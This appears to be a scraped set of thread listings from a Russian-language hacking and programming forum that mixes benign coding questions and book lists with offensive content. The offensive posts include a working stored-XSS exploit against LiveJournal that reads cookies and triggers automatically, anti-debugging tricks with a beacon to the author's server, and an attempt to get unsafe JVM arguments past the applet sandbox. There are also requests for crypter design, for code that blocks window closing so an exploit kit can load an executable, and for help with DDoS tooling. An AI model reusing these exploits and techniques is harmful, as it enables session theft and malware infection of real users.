Click to expand...

т.е. я понимаю что скорее-всего не правильно принимаю передаваемые параметры. Но запутался как правильно их принять. Помогите плиз.

js в одну строку
ID: 67668b27b4103b69df375e13
Thread ID: 24588
Created: 2013-08-26T12:32:25+0000
Last Post: 2013-10-26T00:05:10+0000
Author: Ar3s
Replies: 5 Views: 2K

Имеется следующий код:

Code:Copy to clipboard

<script type="text/javascript">
function browserDetectNav(chrAfterPoint)
{
var  UA=window.navigator.userAgent,
	OperaB = /Opera[ \/]+\w+\.\w+/i,
	OperaV = /Version[ \/]+\w+\.\w+/i,	
	FirefoxB = /Firefox\/\w+\.\w+/i,
	ChromeB = /Chrome\/\w+\.\w+/i,
	SafariB = /Version\/\w+\.\w+/i,
	IEB = /MSIE *\d+\.\w+/i,
	SafariV = /Safari\/\w+\.\w+/i,
	browser = new Array(),
	browserSplit = /[ \/\.]/i,
	OperaV = UA.match(OperaV),
	Firefox = UA.match(FirefoxB),
	Chrome = UA.match(ChromeB),
	Safari = UA.match(SafariB),
	SafariV = UA.match(SafariV),
	IE = UA.match(IEB),
	Opera = UA.match(OperaB);
  
  if ((!Opera=="")&(!OperaV=="")) browser[0]=OperaV[0].replace(/Version/, "Opera")
    else 
    	if (!Opera=="")	browser[0]=Opera[0]
      else
      	if (!IE=="") browser[0] = IE[0]
        else 
        	if (!Firefox=="") browser[0]=Firefox[0]
          else
          	if (!Chrome=="") browser[0] = Chrome[0]
            else
            	if ((!Safari=="")&&(!SafariV=="")) browser[0] = Safari[0].replace("Version", "Safari");

	var outputData;
	
	if (browser[0] != null) outputData = browser[0].split(browserSplit);
	if (((chrAfterPoint == null)|(chrAfterPoint == 0))&(outputData != null)) 
  {
  	chrAfterPoint=outputData[2].length;
  	outputData[2] = outputData[2].substring(0, chrAfterPoint);
  	return(outputData);
  }
  	else
    if (chrAfterPoint != null) 
    {
    	outputData[2] = outputData[2].substr(0, chrAfterPoint);
    	return(outputData);    	
    }
    	else	return(false);
}

function showBrowVer()  
{
var
data = browserDetectNav();
alert("Браузер: "+data[0]+", Версия: "+data[1]+"."+data[2]);
}
window.onload = showBrowVer;
</script>

Данный код возвращает тупо имя и версию браузера.
Берем блокном и заменяем все переносы каретки на пробел. Получаем тот же код одной строкой. И он перестает работать. Почему - не могу понять. Помогите раздуплить пожалуйста.

Code:Copy to clipboard

<script type="text/javascript"> function browserDetectNav(chrAfterPoint) { var UA=window.navigator.userAgent, OperaB = /Opera[ \/]+\w+\.\w+/i, OperaV = /Version[ \/]+\w+\.\w+/i, FirefoxB = /Firefox\/\w+\.\w+/i, ChromeB = /Chrome\/\w+\.\w+/i, SafariB = /Version\/\w+\.\w+/i, IEB = /MSIE *\d+\.\w+/i, SafariV = /Safari\/\w+\.\w+/i, browser = new Array(), browserSplit = /[ \/\.]/i, OperaV = UA.match(OperaV), Firefox = UA.match(FirefoxB), Chrome = UA.match(ChromeB), Safari = UA.match(SafariB), SafariV = UA.match(SafariV), IE = UA.match(IEB), Opera = UA.match(OperaB);  if ((!Opera=="")&(!OperaV=="")) browser[0]=OperaV[0].replace(/Version/, "Opera") else  if (!Opera=="")browser[0]=Opera[0] else if (!IE=="") browser[0] = IE[0] else  if (!Firefox=="") browser[0]=Firefox[0] else if (!Chrome=="") browser[0] = Chrome[0] else if ((!Safari=="")&&(!SafariV=="")) browser[0] = Safari[0].replace("Version", "Safari");  var outputData;  if (browser[0] != null) outputData = browser[0].split(browserSplit); if (((chrAfterPoint == null)|(chrAfterPoint == 0))&(outputData != null))  { chrAfterPoint=outputData[2].length; outputData[2] = outputData[2].substring(0, chrAfterPoint); return(outputData); } else if (chrAfterPoint != null)  { outputData[2] = outputData[2].substr(0, chrAfterPoint); return(outputData); } elsereturn(false); }  function showBrowVer()   { var data = browserDetectNav(); alert("Браузер: "+data[0]+", Версия: "+data[1]+"."+data[2]); } window.onload = showBrowVer; </script>
Чемпионат по XSS
ID: 67668b27b4103b69df375e14
Thread ID: 24686
Created: 2013-10-05T11:10:47+0000
Last Post: 2013-10-07T18:29:20+0000
Author: malayazemlya
Replies: 2 Views: 2K

Кому интересно попытать силы:
http://escape.alf.nu/

Выигрывает тот, кто исполнит alert(1) в минимальное число знаков

Гадание по DNS
ID: 67668b27b4103b69df375e15
Thread ID: 24571
Created: 2013-08-20T04:24:38+0000
Last Post: 2013-08-20T13:10:19+0000
Author: malayazemlya
Replies: 3 Views: 2K

Берем скрипт
http://www.site.com/time.php

Code:Copy to clipboard

<body></body>
<script>
window.onload = function() {
    if (!window.performance || !window.performance.timing) {
     alert(":(");
     return;
    }

    alert(perf.domainLookupEnd - perf.domainLookupStart);
}
</script>

Конфигурируем домен site.com чтоб любой адрес вида *.site.com вел на тот же хост,что и www.site.com.

Заходим всякими способами, смотрим на цифры - это столько миллисекунд заняло определение ипа по имени домена. Наблюдаем интересные закономерности:

Обращение к случайно сгеренированному домену
http://randomstring.site.com/time.php?r=random

  • Заход напрямую: от 20 мс
  • Заход через прокси: 0мс

Эффект, если подумать, абсолютно закономерный - чтоб не выдавать ip клиента, любые адекватные прокси берут dns полностью на себя. А клиент уже получает сразу все готовенькое. Результат: реальный ип не палится, но подозрения возникают :nono:

Обращение к основному домену(без прокси)
http://www.site.com/time.php?r=random

  • Домен в кэше DNS: 1-2 мс
  • Домен не в кэше: от 20 мс

Кэш DNS, что характерно, не исчезает от закрытия окон, стирания истории, перключения програм и прочей ерунды. :lol: Даже если клиент к нам wget-ом заходил, наш адрес на время останется в кэше - значит, на виду. Срок хранения теоретически может достигать 68 лет, но только теоретически B).

Поддержка браузерами
window.performance.timing на данный момент работает в Firefox, Chrome и IE9+
(реализации отличаются, но время dns считается одинаково)

Антидебаг в браузерах
ID: 67668b27b4103b69df375e18
Thread ID: 24497
Created: 2013-08-04T12:34:10+0000
Last Post: 2013-08-05T10:51:20+0000
Author: malayazemlya
Replies: 3 Views: 2K

Совершенно случайно набрел на сразу несколько способов узнать, выполяется ли скрипт под браузерным отладчиком (firebug, chrome developer tools итп) Поделюсь с общественностью.

Метод первый
Работает везде кроме оперы.

Проверить вызывается ли console.log() Выводим на консоль переменную типа function и задаем формат %s Дебаггер пытается превратить значение в строку, чем запускает метод toString. А мы toString перехватываем (вариант: то же самое с форматом %d и методом toValue) Что характерно, нужна именно функция, простой объект не катит.

(дополнение: В хроме у=/some regular expression/ тоже катит)

Code:Copy to clipboard

function is_dbg () {
  var d = false, y = function() {};
  y.toString = function() { d = true; }
  console && console.log("%s",y);
  return d;
};

alert(is_dbg());

Нюанс. IE однажды подцепив дебаггер, дальше его уже не отцепляет, а просто убирает с глаз долой. Потому код будет возвращать true даже после закрытия окна отладчика.

Метод второй.
Работает везде :yahoo:

Если метод toString приделать к функции, то он почему-то запускается при любом просмотре объекта в окошке дебаггера: watch, local variables итп <_< Хуже того, вызов приходит даже если скрипт стоит на паузе :o или завершился

Но почему все браузеры глючит????? :newconfus:

Code:Copy to clipboard

function no_watch(m) {
  var y = function() {
    return m;
  }
  var s = ''+ s;
  y.toString = function(x) {
     m = x;
     return s;
  }
  return y;
}

var a = no_watch(123);
//  здесь посмотри в дебаггере на переменную  a 
// :)))


alert(a())

 // присваеваем новое значение
a.toString(567);

// или здесь посмотри

alert(a());

Исключение: Вывод значения через консоль в опере не перехватывается.

Метод третий.
Работает в Chrome/FF

Исгользуем css при выводе на консоль

Code:Copy to clipboard

console.log(
'%c%s',
'background-image:url(http://mysite.com/sniffer.png)',
'some string');

Запрос к sniffer.png шлется только если отладчик открыт.

Метод четвертый.
Работает везде но не всегда.

Вывалиться самому в отладчик, через оператор debugger или по ошибке, потом проверить таймер. В принципе, известная фишка, привожу для полноты картины.

Code:Copy to clipboard

function now() {
  return +(new Date());
}

function is_dbg() {
  var t = now();
  debugger;
  return now() < t+10;
}
alert(is_dbg());

debugger сложно спрятать. ошибку спрятать проще

Code:Copy to clipboard

function is_dbg() {
  var t = now();
  try { polny bred syntax error } catch(e) {}
  return now() < t+10;
}

Увы, результат не гарантирован. Иногда браузеры в дебаггер валиться отказываются, внутри eval() особенно

.......
Еще есть идеи?

Активная XSS в Livejournal.com
ID: 67668b27b4103b69df375e19
Thread ID: 24432
Created: 2013-07-20T16:46:57+0000
Last Post: 2013-08-01T14:13:36+0000
Author: malayazemlya
Replies: 9 Views: 2K

Разбирая исходники фильтра постов в ЖЖ (вот они, кстати), нашел полновесную активную XSS.

Пишется пост, содержащий такой код:

Code:Copy to clipboard

<div class="ljcut" text="Read more&quot;onmouseover=alert(document.cookie)  x=&quot;">
....
</div>

После публикации этот div превращается в гораздо более занятный:

Code:Copy to clipboard

<div class="ljcut" text="Read more" onmouseover=alert(document.cookie) x="">
...
</div>

Есть некоторые легкие неудобства, но жизнь они не портят :

  • Символы < и > таки фильтруются, поэтому новые теги надо создавать кодом.

  • При просмотре ЖЖ в режиме ленты ваш инжект станет простым текстом подозрительного содержания. Не беда. Заключим его во внешний "lj-cut" (это местный ЖЖшный тег).

  • Самый очевидный способ запустить код в этом контексте - добавить обработчик событий. К сожалению у DIV-а с этим не густо, но кое-что найдется:

    • onmousemove - если div достаточно большой, то рано или поздно курсор окажется и над ним. А можно пойди по пути социальной инженерии: добавить пару абзацев черным по черному - типа споилеры. mousemove польются рекой :P
    • onscroll - этот обработчик можно даже вызвать без каких-то действий пользователя. Добавим overflow:scroll и сделаем,чтоб текст в div полностью не влезал. Потом в самый конец добавим какой-нибудь элемент с атрибутом autofocus. Это вызовет автоматом скроллинг - и запустит наш обработчик. :yahoo:

Как-то так выходит:

Code:Copy to clipboard

<lj-cut>
<div style="font-size:1px;color:transparent;">
<div class="ljcut" text="&quot; style=&quot;height:480px;color:transparent;overflow:scroll&quot; onscroll=&quot;alert(document.domain+':'+document.cookie),this.onscroll=null&quot; x=&quot;"><div style="color:black;font-family:monospace;font-size:12px;line-height:120%;height:110%">
.... дофига текста....
<form><span style="font-size:20px;font-family:monospace;color:black">&copy;Добрые Гномы</span><input style="width:1px;font-size:1px;border:none" autofocus="autofocus"></form>
</div>
</div>
</lj-cut>

Обратите,кстати внимание, что в примере тем же методом инжектится и нефильтрованный css, тоже полезно. ;)

Сплоит в действии можно посмотреть [у мене в ЖЖ](http://malaya- zemlya.livejournal.com/736325.html)

Самое смешное в этом баге, что, судя по датам изменения исходников, он существует минимум 7 лет и принадлежит перу самого основателя, Брэда Фитцпатрика. :huh1: Поэтому 0-day его называть как-то странно. Но вроде в паблике ничего такого не было.

[java] Игнор java-vm-args, втф?
ID: 67668b27b4103b69df375e1e
Thread ID: 24170
Created: 2013-05-10T04:53:57+0000
Last Post: 2013-05-10T04:53:57+0000
Author: Aels
Replies: 0 Views: 2K

У нас есть возможность совать аплету (и jnpl-файлу) свои аргументы командной строки, примерно вот так:

Code:Copy to clipboard

<j2se version="1.4+" java-vm-args="-ea -Xincgc"/>

или так:

Code:Copy to clipboard

<APPLET archive="my_applet.jar" code="MyApplet" width="300" height="300">
  <PARAM name="java_arguments" value="-Xmx128m">
</APPLET>

пруф: http://docs.oracle.com/javase/6/docs/techn...pplication_desc
На них есть ограничения, а именно, нельзя аплету совать все параметры, которые так или иначе задают пути:

There are relatively few restrictions on what command-line arguments may be passed via the java_arguments parameter. In general, the -Xbootclasspath argument is forbidden, as well as any command-line argument used to specify a path, such as -classpath or -jar. All other command-line arguments, present and future, should be supported, with the caveat about secure and insecure command-line arguments described above.

Click to expand...

пруф: http://docs.oracle.com/javase/6/docs/techn...MMAND_LINE_ARGS
Так же там сказано, что не-секьюрные опции может использовать только подписанный (доверенный) код, и только после окна юзеру.
Если же какие-либо небезопасные опции будут переданы неподписанному аплету, то jvm плюнет ошибку ClassNotFoundException.

Проблема:
При явном просовывании, например, -Xbootclasspath , никаких ошибок нет, и вообще нет никакой разницы между "до" и "после".

html:

Code:Copy to clipboard

	<applet>
  <param name="jnlp_embedded" value="<?php echo base64_encode(file_get_contents('applet.jnlp')); ?>" />
  <param name="jnlp_href" />
	</applet>

jnlp:

Code:Copy to clipboard

<?xml version="1.0" encoding="utf-8"?>
<jnlp>
	<information>
  <title>/</title>
  <vendor>/</vendor>
	</information>

	<resources>
  <j2se
    version='1.6+'
    java-vm-args='-verbose:gc -Xloggc:"c:\java.log" -jar bla -XX:OnOutOfMemoryError="" -Xbootclasspath:"c:/" -Xmx2m'/>
  <jar href='echo_applet.php?14' />
	</resources>

	<applet-desc name="/" main-class="Init" width="1024" height="768">
  <param name="__applet_ssv_validated" value="true" />
	</applet-desc>
</jnlp>

всю опциональную хрень я выкинул.

Вопросы к вам:

  1. как получить какие-то признаки того, что это работает? я неправильно что-то задаю?
  2. кто-то уже с этим баловался?

Что хочу:
Т.к. нету нигде полного списка разрешенных\запрещенных опций, то хочу найти полезные "безопасные" опции, в которых могут фигурировать локальные файлы.
Вот частичный (точно говорю, не полный) список разрешенных опций: http://docs.oracle.com/javase/6/docs/techn....html#resources
А вот где-то треть списка всех опций: http://docs.oracle.com/javase/6/docs/techn...va.html#options
и вот еще: [http://www.oracle.com/technetwork/java/jav...jsp-140102.html](http://www.oracle.com/technetwork/java/javase/tech/vmoptions- jsp-140102.html)

Соль в том, что преконфигурация jvm выполняется до инициализации апплета, и следовательно, до всех-всех окон. То-есть, все манипуляции на этой стадии выполняются тихо, и без песочницы.
Учитывая, что списки опций пополняются от версии к версии, фильтрация "опасных" ведется по "черному" списку (все новые опции изначально безопасны), то есть вполне реальный шанс найти те, через которые можно порулить локальными файлами.

Так вот... помогите мне заставить код работать, и как-то реагировать) - он должен начать выплевывать эксепшн на попытку запуска неподписанного аплета с несекьюрными параметрами.

Нужен закодированный или закриптованный javascript
ID: 67668b27b4103b69df375e1f
Thread ID: 22578
Created: 2012-02-08T10:31:18+0000
Last Post: 2013-05-03T09:44:14+0000
Author: rolkaluiu0
Replies: 8 Views: 2K

Нужен закодированный или закриптованный javascript. Поделитесь сэмплами, хочу потренироваться в раскодировании.

Нужна помощь SQL и PHP
ID: 67668b27b4103b69df375e29
Thread ID: 23404
Created: 2012-09-25T19:11:45+0000
Last Post: 2012-09-27T18:23:32+0000
Author: MadFisherman
Replies: 8 Views: 2K

Всем привет!
Ребят, нужна Ваша помощь, так как сам только начинаю разбираться с ПХП... что очень тяжело мне дается...
Суть вопроса: Я не особо писатель, поэтому описываю как могу и по возможности о чем имею представление для большей ясности. Нужна форма для сайта, содержащая 5 полей с выпадающим меню выбора параметра + загрузка 1 фотки. Дальше все заносится в mysql. Редактирование базы только администратором (как я себе это представляю, т.е. доступ к удалению записи только у 1 человека по паролю (тут походу будет достаточно запроса определенного запроса к базе по паролю самой же базы для удаления значения, поправьте, если не прав)). Доступ к содержанию базы в открытом доступе предполагаю в форме таблицы с выводом фотки на первом плане, под фото - указанные при загрузке параметры. Так же наличие тех самых 5 полей (параметры, которые отображались при загрузке) для возможности фильтрации отображаемой информации.

Подскажите реально ли так сделать? Сложно ли это (сам я не смогу такое дело сделать, хотя интуиция подсказывает, что все возможно). Кто может помочь?

P.S.: Кстати, могу помочь любому желающему в сфере госзаказов. Работаю в этой сфере давно и могу решить любую проблему. Интересующимся в личку прошу. Либо, с разрешения администрации, все расскажу в отдельной ветке, естественно бесплатно.

Заранее спасибо всем за внимание к теме.

перехват http трафика
ID: 67668b27b4103b69df375e2a
Thread ID: 22915
Created: 2012-06-16T12:56:44+0000
Last Post: 2012-06-17T11:05:27+0000
Author: datel
Replies: 3 Views: 2K

del

Java отладчик
ID: 67668b27b4103b69df375e2e
Thread ID: 22613
Created: 2012-02-18T20:31:37+0000
Last Post: 2012-02-24T17:22:36+0000
Author: greenzy
Replies: 6 Views: 2K

Приветствую всех! Возникла потребность расшифровать js скрипт. Думаю сделать через отладку. Посоветуйте возможно ли такое?

Регулярное вырожение
ID: 67668b27b4103b69df375e2f
Thread ID: 22471
Created: 2011-12-25T19:07:48+0000
Last Post: 2011-12-26T20:54:04+0000
Author: Darkmist
Replies: 7 Views: 2K

есть предложение в нем 3 точки, надо взять от второй точки 3 символа влево и 3 в право
или надо взять все цифры от первого слеша до следующего .
например : 106.967/112.798/138.099/7.947 - нужно число 112.798
как решить :bang:

ANSAV
ID: 67668b27b4103b69df375e31
Thread ID: 22420
Created: 2011-11-26T18:44:29+0000
Last Post: 2011-11-28T10:44:18+0000
Author: xaf0n
Replies: 2 Views: 2K

Сорсы ав на асме, сам пока не глядел еще.

:zns5: Скачать|Download

Как вот это все решить, используя только функцию I
ID: 67668b27b4103b69df375e34
Thread ID: 22213
Created: 2011-09-23T19:34:41+0000
Last Post: 2011-09-24T03:45:31+0000
Author: faf
Replies: 2 Views: 2K

a. ЕСЛИ Возраст >= 50 И Среднемесячный доход < 6000 ТО Сегмент=Сегмент 1
b. ЕСЛИ Возраст <30 И Среднемесячный расход > = 5500 ТО Сегмент = Сегмент 2
c. Сегмент = Сегмент3 во всех остальных случаях, не удовлетворяющих п. a и b.

помогите разобратса погалуста с заменной функции
ID: 67668b27b4103b69df375e36
Thread ID: 22152
Created: 2011-08-30T20:43:41+0000
Last Post: 2011-08-31T10:54:03+0000
Author: max00077
Replies: 1 Views: 2K

здраствуйте, сорри за руский. вопрос назрел такой... могно ли на свойим сервере заменитй базовою функцию на пхп? тоесть к примеру есть функция ххх(арг1){базовый код} а надо чтобы било ххх(арг1){наш код}

Криптор - основы
ID: 67668b27b4103b69df375e38
Thread ID: 21508
Created: 2011-04-16T21:35:43+0000
Last Post: 2011-06-09T23:32:16+0000
Author: Lomerok
Replies: 3 Views: 2K

Созрела уменя надобность написать криптор , и вот в чем я засомневался - так это в том что и
как он должен делать...итак вопрос , как работают современные крипторы , какие задачи
выполняют и собственно каким образом..тоесть ,

что должен уметь криптор :
1 - шифровка файла
2 - прятание файла в стабе или стаба в файле
3 - извлечение и запуск шифрованного файла из стаба

но тут много вопросов , например :
1 - как лутше шифровать
2 - как прятать и где
3 - как извлекать и куда
4 - как запускать и где

ответы прошу давать относящиеся к современным крипторам , которые возможно уже
палибельны но с возможностью модификации , тоесть ответ типа пиши криптор который
извлекает шифрованную программу на диск уже непроканает , так как такой алгоритм
устарел...с нетерпением жду ответов ...заранее спасибо...

ПС,если у кого есть исходники крипторов на с++ желательно их прикреплять к ответам.

DB MySQL в PHP скрипте
ID: 67668b27b4103b69df375e39
Thread ID: 21555
Created: 2011-04-28T13:21:38+0000
Last Post: 2011-05-01T05:33:53+0000
Author: cuker
Replies: 4 Views: 2K

У меня вопрос нубский, может и не втом разделе так что если что не так простите=)

Есть скрипт на php админка для одного проекта. но нет к нему БД. скрипт не зашифрован.. меня интересует можно ли какнибуть автоматизировать создание таблиц в БД чтоб не искать ручками в скрипте что из какой таблицы берет и куда пишит

Запрет на закрытие окна
ID: 67668b27b4103b69df375e3a
Thread ID: 21516
Created: 2011-04-19T02:29:50+0000
Last Post: 2011-04-19T21:32:06+0000
Author: Experten
Replies: 8 Views: 2K

Возникла проблема, имею траф малосекундный, за это время связка не успевает пробить и тем более прогрузить exe.

Подскажите, плиз, код скрипта который не дал бы закрыть окно с моим сайтом.

Знаю вот об таком, но это только дополнительная сложность.

Code:Copy to clipboard

<script> 
window.onbeforeunload = function (e) {
	var e = e || window.event;
	// For IE and Firefox
	if (e) {
   e.returnValue = 'Closed?';
	}
	// For Safari
	return 'Closed?';
};
 </script>

Видел пару раз на сайтах такое, что при нажатии да или нет, окно браузера все равно не закрывалось.

demUPX Shell Packer v.0.1
ID: 67668b27b4103b69df375e3c
Thread ID: 21379
Created: 2011-03-25T20:08:03+0000
Last Post: 2011-03-25T22:21:55+0000
Author: demien
Replies: 2 Views: 2K

demUPX Shell Packer v.0.1
Наиболее полный GUI шелл для upx. (как альтернатива CFF Explorer)

Писался в принципе для себя, потом решил чуть доработать и вот выкладываю. Не люблю возить с собой поровозы в виде ярлыков, батников и cmd.exe, не прикольно, в принципе для по этому и написал сиё.
Работает drag&drop
ну в принципе на скрине все видно...

:zns5: Скачать|Download

p.s. не знал где создать тему... если не туда, извеняюсь.

Книги по программированию
ID: 67668b27b4103b69df375e3d
Thread ID: 21378
Created: 2011-03-25T18:08:48+0000
Last Post: 2011-03-25T20:44:07+0000
Author: accelerator
Replies: 3 Views: 2K

Предлагаю выкладывать здесь ссылки на сайты, где можно качать книги (основная тематика программирование и не только). Без оплаты: не интернет магазины!
От себя парочка юрлов:
http://www.kodges.ru/
http://www.infanata.org/

Учебник по V
ID: 67668b27b4103b69df375e3e
Thread ID: 21370
Created: 2011-03-25T09:29:50+0000
Last Post: 2011-03-25T10:49:17+0000
Author: DiegO
Replies: 2 Views: 2K

Люди подкиньте ссылок на ХОРОШИЕ учебники по VB, гуглил... много разных... какой лучше не знаю... короче надо для начинающего.

Релиз web-фреймворка Django 1.3
ID: 67668b27b4103b69df375e40
Thread ID: 21356
Created: 2011-03-23T16:01:55+0000
Last Post: 2011-03-23T16:01:55+0000
Author: Se613
Replies: 0 Views: 2K

Code:Copy to clipboard

Вышла стабильная версия фреймворка Django 1.3, написанного на языке Python и предназначенного для разработки веб-приложений. Разработчики проекта отмечают, что это последний выпуск, который поддерживает работу с Python 2.4. В дальнейшем в качестве минимальной версии будет рекомендован Python 2.5.

При создании новой версии основное внимание было уделено реализации небольших улучшений, давно ожидаемых разработчиками. В частности, создан фреймворк для создания представлений на базе классов (class-based-views), добавлена возможность использования встроенных в Python средств для ведения логов, в поставку включены дополнительные инструменты для упрощения работы со статическим контентом, в тестовый фреймворк интегрирована поддержка библиотеки unittest2.

:zns5: Скачать|Download

Поиск ftp сайтов
ID: 67668b27b4103b69df375e42
Thread ID: 21195
Created: 2011-02-26T00:53:35+0000
Last Post: 2011-02-26T00:53:35+0000
Author: savage
Replies: 0 Views: 2K

пример запроса help.html - readme.txt

Code:Copy to clipboard

<?

// FTP search savage_tm

@set_time_limit(0);

class GOOGLER
{

    function googlerank($keywords,$limit)
    {
        $keywstring = str_replace(" ", "+", $keywords);
        $pages=ceil($limit);

$start=0;
$ard=1;


while($ard < $pages)
{

    $curl = curl_init();
    curl_setopt ($curl, CURLOPT_URL, "http://www.mmnt.ru/get?st=$keywstring&cn=ru&in=f&ot=$start");
// change &cn=ru -- &cn=us from USA site
//http://www.mmnt.ru/get?st=$keywstring&cn=us&in=f&ot=$start
//

    curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);

    $result = curl_exec ($curl);
    curl_close ($curl);

preg_match_all("/<a href=\"(.*)\" target=_blank>/", $result, $matches, PREG_PATTERN_ORDER);

for ($i = 0; $i < count($matches[1]); $i++)   
{
    echo "".$matches[1][$i]."
";
flush();  
}

$zamer = $ard*20;

$start= $zamer+1;

$ard++;
}


ob_flush();
flush();

}

    function render_form()
        {
            echo '<h2>QUERY FORM:</h2><form id="form1" name="form1" method="post" action="">
            <table   border="0" cellpadding="5">
              <tr>
                <td>Keywords</td>
                <td><label>
                  <input name="keywords" type="text" id="keywords" value="*.exe" size="60"/>
                </label></td>
              </tr>
              <tr>
                <td>Limit</td>
                <td><label>
                  <input name="limit" type="text" id="limit" value="200" />
                </label></td>
              </tr>
              <tr>
                <td> </td>
                <td> </td>
              </tr>
              <tr>
                <td> </td>
                <td><label>
                  <input type="submit" name="Submit" value="Submit" />
                </label></td>
              </tr>
            </table> </form>';
        }

    function render_results()
    {
    $keywords     = "*.exe";
    $limit         = "200";
    if((isset($_POST['keywords'])) and (isset($_POST['limit'])))
    {
        $keywords    = $_POST['keywords'];
        $limit        = $_POST['limit'];
        $site        = $_POST['site'];
        
    }
    $res = $this -> googlerank($keywords,$limit);
    print_r($res);exit;

}
}
// START ----------------------------------------

$google = new GOOGLER;

if (isset($_POST['Submit']))
{
    $google -> render_results();

} else  
{
    $google -> render_form();
}
?>
Отправка кода на шелл...
ID: 67668b27b4103b69df375e44
Thread ID: 20954
Created: 2011-01-11T15:05:32+0000
Last Post: 2011-01-12T10:37:22+0000
Author: DiegO
Replies: 6 Views: 2K

Помогите пожалуйсто мне, подскажите как отправляет smerch (тот что для DDoS) команды (содержимое модулей ддоса) на шеллы ?

Буду благодарен, обьязательно дам плюсик :)

Какой Движок
ID: 67668b27b4103b69df375e45
Thread ID: 20636
Created: 2010-11-20T14:59:05+0000
Last Post: 2010-11-21T08:58:21+0000
Author: WesenD
Replies: 4 Views: 2K

Какой Двиг У Этого Сайта http://league.apofig.ru/ (Не Реклама)
:bang:

Простой вопрос по php :)
ID: 67668b27b4103b69df375e48
Thread ID: 20494
Created: 2010-10-25T17:02:26+0000
Last Post: 2010-10-26T11:39:34+0000
Author: DiegO
Replies: 2 Views: 2K

Всем привет ! У меня есть код

Code:Copy to clipboard

 <?php
$socket = fsockopen("udp://localhost", 27015,$errnum,$errstr,999);
$packet = "\xFF\xFF\xFF\xFF\connect 47 ";
$packet .= "getchallenge";
fwrite($socket, $packet);
fclose($socket);
?>

- скрипт для получения id сервера cs 1.6
Как произвести чтение из сокета и вывести id сервера с помощью echo ""; ?

Библиотека по Python
ID: 67668b27b4103b69df375e4b
Thread ID: 20399
Created: 2010-10-10T14:16:39+0000
Last Post: 2010-10-10T14:43:19+0000
Author: Империал
Replies: 1 Views: 2K

Сборка книг по Python - высокоуровневому языку программирования общего назначения с акцентом на производительность разработчика и читаемость кода.

Список книг по Python (72 шт.):
A Byte of Python 1.92 [Swaroop C. H.] (2009)
2A Primer on Scientific Programming with Python
Beginning Game Development with Python and Pygame: From Novice to Professional
Beginning Python: From Novice to Professional [Magnus Lie Hetland] (2005)
Beginning Python: From Novice to Professional, 2nd Edition [Magnus Lie Hetland] (2008)
Beginning Python: Using Python 2.6 and Python 3.1 [James Payne] (2010)
Beginning Python Visualization: Crafting Visual Transformation Scripts [Shai Vaingast] (2009)
Bioinformatics Programming Using Python [Mitchell L Model] (2009)
Building Skills in Object-Oriented Design [Steven F. Lott] (2009)
Building Skills in Python [Steven F. Lott] (2010)
CherryPy Essentials: Rapid Python Web Application Development [Sylvain Hellegouarch] (2007
Core Python Programming [Wesley Chun] (2000)
Core Python Programming, 2nd Edition [Wesley Chun] (2006)
Dive Into Python 3 [Mark Pilgrim] (2009)
Expert Python Programming [Tarek Ziade] (2008)
Foundations of Agile Python Development [Jeff Younker] (2008)
Foundations of Python Network Programming [John Goerzen] (2004)
Gray Hat Python: Python Programming for Hackers and Reverse Engineers [Justin Seitz] (2009)
Hands-on Python Tutorial [Andrew N. Harrington] (2009)
Head First Programming: A learner's guide to programming using the Python language [David Griffiths] (2009)
Hello World: Computer Programming for Kids and Other Beginners [Warren Sande] (2009)
Invent Your Own Computer Games with Python [Albert Sweigart] (2008)
Invent Your Own Computer Games with Python, 2nd Edition [Albert Sweigart] (2009)
IronPython in Action [Michael Foord] (2009)
Learning Python, 3rd Edition [Mark Lutz] (2008)
Learning Python, 4th Edition [Mark Lutz] (2009)
Making Use of Python [Rashi Gupta] (2002)
Matplotlib for Python Developers [Sandro Tosi] (2009)
Mobile Python: Rapid prototyping of applications on the mobile platform [Jurgen Scheible] (2007)
Natural Language Processing with Python [Steven Bird] (2009)
Numerical Methods in Engineering with Python [Jaan Kiusalaas] (2005)
Numerical Methods in Engineering with Python, 2nd Edition [Jaan Kiusalaas] (2010)
Plone 3 Products Development Cookbook [Juan Pablo Gimenez] (2010)
Practical Programming: An Introduction to Computer Science Using Python [Jennifer Campbell] (2009)
Pro IronPython [Alan Harris] (2009)
Pro Python System Administration [Rytis Sileika] (2010)
Pro Python [Marty Alchin] (2010)
Professional IronPython [John Paul Mueller] (2010)
Programming Collective Intelligence [Toby Segaran] (2008)
Programming for Non-Programmers - How to Write Your Own Software Using Python [Steven F. Lott] (2009)
Programming in Python 3: A Complete Introduction to the Python Language [Mark Summerfield] (2008)
Programming in Python 3: A Complete Introduction to the Python Language, 2nd Edition [Mark Summerfield] (2009)
Programming Python, 3rd Edition [Mark Lutz] (2009)
Python & XML [Christopher A. Jones] (2002)
Python 3 for Absolute Beginners [Tim Hall] (2009)
Python 3 Object Oriented Programming [Dusty Phillips] (2010)
Python and Tkinter Programming [John E. Grayson] (2000)
Python Essential Reference, 3rd Edition [David M. Beazley] (2006)
Python Essential Reference, 4th Edition [David M. Beazley] (2009)
Python for Software Design: How to Think Like a Computer Scientist [Allen Downey] (2009)
Python for Unix and Linux System Administration [Noah Gift] (2009)
Python Phrasebook [Brad Dayley] (2006)
Python Pocket Reference, 4th Edition [Mark Lutz] (2009)
Python Power!: The Comprehensive Guide [Matt Telles] (2007)
Python Programming for the Absolute Beginner [Michael Dawson] (2003)
Python Scripting for Computational Science [Hans Petter Langtangen] (2004)
Python Scripting for Computational Science, 2nd Edition [Hans Petter Langtangen] (2005)
Python Scripting for Computational Science, 3rd Edition [Hans Petter Langtangen] (2009)
Python Testing: Beginner's Guide [Daniel Arbuckle] (2010)
Python в системном администрировании UNIX и Linux [Ноа Гифт] (2009)
Rapid GUI Programming with Python and Qt [Mark Summerfield] (2007)
Snake Wrangling for Kids: Learning to Program with Python [Jason R. Briggs] (2007)
Spring Python 1.1 [Greg Lee Turnquist] (2010)
The Definitive Guide to Jython: Python for the Java Platform [Josh Juneau] (2010)
The Quick Python Book, 2nd Edition [Vernon L. Ceder] (2010)
wxPython in Action [Noel Rappin] (2006)
Изучаем Python, 3-е издание [Марк Лутц] (2008)
Программирование на Python 3. Подробное руководство [Марк Саммерфилд] (2009)
Программирование на Python, 2-е издание [Марк Лутц] (2002)
Программируем коллективный разум [Тоби Сегаран] (2008)
Язык программирования Python - курс лекций [Роман Авриевич Сузи] (2005)
Язык программирования Python [Гвидо ван Россум] (2001)

Размер: 566,18 Мб

Скачать с letitbit
Скачать с shareflare

v horoshie ruki aki fidelity
ID: 67668b27b4103b69df375e4c
Thread ID: 20061
Created: 2010-07-17T09:34:51+0000
Last Post: 2010-07-17T09:34:51+0000
